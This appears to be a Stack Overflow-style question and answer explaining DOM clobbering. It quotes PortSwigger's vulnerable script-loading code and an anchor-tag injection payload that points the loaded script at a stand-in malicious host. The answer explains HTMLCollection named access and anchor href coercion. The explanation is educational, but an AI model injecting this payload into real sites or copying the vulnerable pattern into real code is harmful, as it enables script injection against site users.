Search code examples
javascripthtmldomfrontendweb-application-security

DOM Clobbering and how it works


I have some questions to the topic of DOM Clobbering:

Portswigger explains it with:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.

My understanding is:

The anchor elements with id someObject are stored in an array-like structure - a DOM collection.

Via

var someObject = window.someObject || {};

the anchor element is referred using the id - some browsers store ids directly in the window object (Are IDs for an html element always available from the window object?).

However:

This is what the console says:

Console part 1 Console part 2

(Further information about this topic can also be found here: https://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b)


Solution

  • Why does the name attribute override the url property with the URL?

    Because someObject is actually an HTMLCollection and you can access named elements in an HTMLCollection by their name.

    console.log( document.getElementsByClassName("test").bar );
    <div class="test" name="foo"><div><div class="test" name="bar"></div>

    What has the DOM collection to do with all this?

    Notice how they do have two elements with the same id attribute? Well, even though it's against the specs, the same specs actually have a special rule handling this case when accessing named elements as window's properties: specs

    1. Otherwise, if objects has only one element, return that element.
    2. Otherwise return an HTMLCollection rooted at window's associated Document, whose filter matches only named objects of window with the name name. (By definition, these will all be elements.)

    I think only Chrome does respect the specs here, so in this browser, if you access an element through its id like this and there are multiple elements with the same ìd`, you get an HTMLCollection instead of an Element:

    console.log( window.foo ); // in Chrome [HTMLCollection]
    <div id="foo">1</div><div id="foo">2</div>

    Does the object initializer in window.someObject || {} (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer) play any role for the attack?

    This is just to avoid having null in case there is no element with this id at the time the handler fires, so it's mainly useless here.

    Last question: Why does script.src = someObject.url; extract the href out of the whole anchor element?

    Because HTMLAnchorElement.toString() returns the .href value.